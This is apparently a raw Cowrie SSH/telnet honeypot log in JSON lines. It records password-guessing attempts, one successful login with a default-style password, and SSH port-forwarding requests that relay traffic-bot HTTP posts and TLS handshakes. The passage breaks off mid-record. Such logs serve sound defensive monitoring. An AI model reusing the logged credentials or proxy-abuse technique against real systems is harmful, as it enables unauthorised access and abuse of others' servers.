{"eventid":"cowrie.login.failed","username":"root","password":"132345678","message":"login attempt [root/132345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:33.814267Z","src_ip":"103.82.20.28","session":"656b0465bcf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:35.085606Z","src_ip":"103.82.20.28","session":"656b0465bcf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.985698461532593,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:37.551157Z","src_ip":"66.132.195.91","session":"c026c613e624","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.84116578102112,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:39.754612Z","src_ip":"45.192.203.43","session":"f895d49fdfc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.246","src_port":49440,"dst_ip":"159.203.135.109","dst_port":22,"session":"138e425f6ec2","protocol":"ssh","message":"New connection: 147.185.132.246:49440 (159.203.135.109:22) [session: 138e425f6ec2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:41.015886Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:41.174619Z","src_ip":"147.185.132.246","session":"138e425f6ec2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.91","src_port":7032,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3dd78513dc2","protocol":"telnet","message":"New connection: 66.132.195.91:7032 (159.203.135.109:23) [session: b3dd78513dc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:41.264497Z"}
{"eventid":"cowrie.session.closed","duration":39.710824728012085,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:41.578575Z","src_ip":"172.81.62.90","session":"09e238d7599f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":51439,"dst_ip":"10.17.0.5","dst_port":22,"session":"1522f1935239","protocol":"ssh","message":"New connection: 123.27.168.40:51439 (10.17.0.5:22) [session: 1522f1935239]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:50.877318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:50.882398Z","src_ip":"123.27.168.40","session":"1522f1935239","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:51.129520Z","src_ip":"123.27.168.40","session":"1522f1935239","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.04478120803833,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:51.542880Z","src_ip":"172.81.62.90","session":"dd9cc8057c6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.188.210","src_port":53404,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b328be86c1d","protocol":"ssh","message":"New connection: 173.208.188.210:53404 (10.17.0.5:22) [session: 9b328be86c1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:52.063177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:52.067125Z","src_ip":"173.208.188.210","session":"9b328be86c1d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:52.178465Z","src_ip":"123.27.168.40","session":"1522f1935239","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:52.245507Z","src_ip":"173.208.188.210","session":"9b328be86c1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.078144788742065,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:52.342505Z","src_ip":"66.132.195.91","session":"b3dd78513dc2","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:52.571886Z","session":"1522f1935239","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:52.737797Z","session":"1522f1935239","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:52.819673Z","src_ip":"123.27.168.40","session":"1522f1935239","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 OPR/71.0.3770.228\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=X2kjKE1KNDgoSlBISmhrOA%3D%3DKH302E27HEASMlrNN8D3HJcB8NrLJKZQYXM9F8VsjWXq3YfSOtwDzC4pVK3eVPVJahouvOFfEaIeaAfJy6T8gUJFYAa2BTu%2FRTkIrU0p2GYAHwtHADjuGOkd9g2xTSqD%2FdBKiDB6Xfj%2BSzfSgp5tyyG2VrlSOvBjt2rio9eFJDWYk8s3hffxMA7%2Bnaek9DPSIkKWaYK5m92vaE4u2NdAl0tNyJfC7ns9WjevGbLd4eusxNOL37GkruPLiLgJaD96IYMrmZ%2FDTxpQ%2FmUkJfW8f4BIUu9plbJ%2FE41ngS%2BHAMfq7jA9nWZwDTtupWX8yx1GzXsHmE%2F1kRG0ib6Fwa7PB4jSgC9TACnbUJXJLDHTqRBWOW0HaE%2Bc8g0R5h%2BPRANDgCZbP0OaXEtv%2FLlPOEPwYjvVuN7jeeE65zJnX1afsWuSkioHb6PwVoOUIRPtN1wr%2FhrDy5mTmnQy3QdJblPO2f%2B4HkL3ZzrF13HzxA7LtaJZUQRGOawBsm9Xl8%2BALI0ZLGr46BDAwZx84BAxcE6SFVqC8O%2B%2F%2FfLVv%2BcrHOBe2M0xHVamc0OQzKcBPcVztLKEkzHSF0ee12Zl2rWEezgKdXc5FJMt14TIXkqAjssc%2BVq6vk00y%2B0Cx70eAZxm4ogV2myl%2BqUY0dVBjqASIV9PoyHBCUP%2F5sUHf3or4zsSMvmBzyBn5oh4J0zNYMmeAdGRifNY4I%2Fd3YqDGUUGrTheSL3KoMfpvwdY65KdVhgpapE4MhvOYXsthI4sPeT2gbKd6muy%2FnBm3feRAat9rCx1dcXzEGwr5OmaOmpvPDvrG7NiB%2FNgPYX%2BzjsMolyhVqEkft6Dwi9TwL7%2Fm2zh7luOkVxFWridcRcRicFF1JKqgDRDqm6kBK1vU986fBAWGjmy6sFGvvrTfxznjs5IHY09Bd2B6zoLCn7D1rS9gAiOxPs2H%2F0uAjCciQS3n1I4m9lJY5Bh%2FREXwY5F1Ad6UeDkuwal%2BjrVI9GUY%2B7lmKe1jZDkTi%2FKvyOeqkFAkhVIRtm9Cro6nDs9cRoVmUyHkDKGHoA0wSvlzeL%2BTeHt9KHMD2iTQheZfo2tm6fRh36BVgq8'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 OPR/71.0.3770.228\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=X2kjKE1KNDgoSlBISmhrOA%3D%3DKH302E27HEASMlrNN8D3HJcB8NrLJKZQYXM9F8VsjWXq3YfSOtwDzC4pVK3eVPVJahouvOFfEaIeaAfJy6T8gUJFYAa2BTu%2FRTkIrU0p2GYAHwtHADjuGOkd9g2xTSqD%2FdBKiDB6Xfj%2BSzfSgp5tyyG2VrlSOvBjt2rio9eFJDWYk8s3hffxMA7%2Bnaek9DPSIkKWaYK5m92vaE4u2NdAl0tNyJfC7ns9WjevGbLd4eusxNOL37GkruPLiLgJaD96IYMrmZ%2FDTxpQ%2FmUkJfW8f4BIUu9plbJ%2FE41ngS%2BHAMfq7jA9nWZwDTtupWX8yx1GzXsHmE%2F1kRG0ib6Fwa7PB4jSgC9TACnbUJXJLDHTqRBWOW0HaE%2Bc8g0R5h%2BPRANDgCZbP0OaXEtv%2FLlPOEPwYjvVuN7jeeE65zJnX1afsWuSkioHb6PwVoOUIRPtN1wr%2FhrDy5mTmnQy3QdJblPO2f%2B4HkL3ZzrF13HzxA7LtaJZUQRGOawBsm9Xl8%2BALI0ZLGr46BDAwZx84BAxcE6SFVqC8O%2B%2F%2FfLVv%2BcrHOBe2M0xHVamc0OQzKcBPcVztLKEkzHSF0ee12Zl2rWEezgKdXc5FJMt14TIXkqAjssc%2BVq6vk00y%2B0Cx70eAZxm4ogV2myl%2BqUY0dVBjqASIV9PoyHBCUP%2F5sUHf3or4zsSMvmBzyBn5oh4J0zNYMmeAdGRifNY4I%2Fd3YqDGUUGrTheSL3KoMfpvwdY65KdVhgpapE4MhvOYXsthI4sPeT2gbKd6muy%2FnBm3feRAat9rCx1dcXzEGwr5OmaOmpvPDvrG7NiB%2FNgPYX%2BzjsMolyhVqEkft6Dwi9TwL7%2Fm2zh7luOkVxFWridcRcRicFF1JKqgDRDqm6kBK1vU986fBAWGjmy6sFGvvrTfxznjs5IHY09Bd2B6zoLCn7D1rS9gAiOxPs2H%2F0uAjCciQS3n1I4m9lJY5Bh%2FREXwY5F1Ad6UeDkuwal%2BjrVI9GUY%2B7lmKe1jZDkTi%2FKvyOeqkFAkhVIRtm9Cro6nDs9cRoVmUyHkDKGHoA0wSvlzeL%2BTeHt9KHMD2iTQheZfo2tm6fRh36BVgq8'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:52.823564Z","src_ip":"123.27.168.40","session":"1522f1935239","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:53.056631Z","src_ip":"123.27.168.40","session":"1522f1935239","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf3\\xf3q\\xfa\\xd2\\x89oA\\x9bj\\'$#z\\x1a0\\x05{\\xad\\xf0\\x9f\\'J\\x95N\\x07t\\xcd\\x9f+\\x06+ \\t\\x11K\\xbd\\\\\\xe1$\\x92bU\\xd9\\xdcW\\x85M\\xde\\x1b\\r\\xc3au|\\x11}s\"\\x0e\\x10\\xd0\\xaf3L\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe8\\xd8\\x85pi\\xabb\\xcba\\x80\\xd3\\xde\\x1b\\x87w\\xa4\\x7f\\xd0hK\\xda\\x19\\x92\\x9eq\\xf7`\\xd4\\xf5f\\xbc.\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf3\\xf3q\\xfa\\xd2\\x89oA\\x9bj\\'$#z\\x1a0\\x05{\\xad\\xf0\\x9f\\'J\\x95N\\x07t\\xcd\\x9f+\\x06+ \\t\\x11K\\xbd\\\\\\xe1$\\x92bU\\xd9\\xdcW\\x85M\\xde\\x1b\\r\\xc3au|\\x11}s\"\\x0e\\x10\\xd0\\xaf3L\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe8\\xd8\\x85pi\\xabb\\xcba\\x80\\xd3\\xde\\x1b\\x87w\\xa4\\x7f\\xd0hK\\xda\\x19\\x92\\x9eq\\xf7`\\xd4\\xf5f\\xbc.\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:53.058737Z","src_ip":"123.27.168.40","session":"1522f1935239","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.60429120063782,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:53.092598Z","src_ip":"172.81.62.90","session":"5c7c21ae1690","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:53.533816Z","session":"1522f1935239","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:53.776762Z","src_ip":"123.27.168.40","session":"1522f1935239","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfa\\x84j\\xfd\\xef\\x9dPi\\xe5\\x0f\\xae.\\xc0\\xbd\\x96$T\\\\\\xd1\\x83\\xd0\\xfa\\\\\\xd3\\xbb:\\x1f cdXi \\xd4\\xad\\xd7;y\\x8b\\xd2\\x92\\r\\xeb\\x8a\\xda{\\xebd\\xb3L\\xad\\xe3Zk\\x7f\\xd5\\x1a\\x9d\\xa0{3H\\xd0\\xd8v\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 W\\xcc\\xd5[\\x11\\xdf\\xc8t\\xc3\\xf6\\x99\\xea\\x0e\\xad\\x0b\\x1d9\\xa1\\x0eL\\xbft\\x94x5\\xbd\\x9bM\\x7f\\x86\\xd6C\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\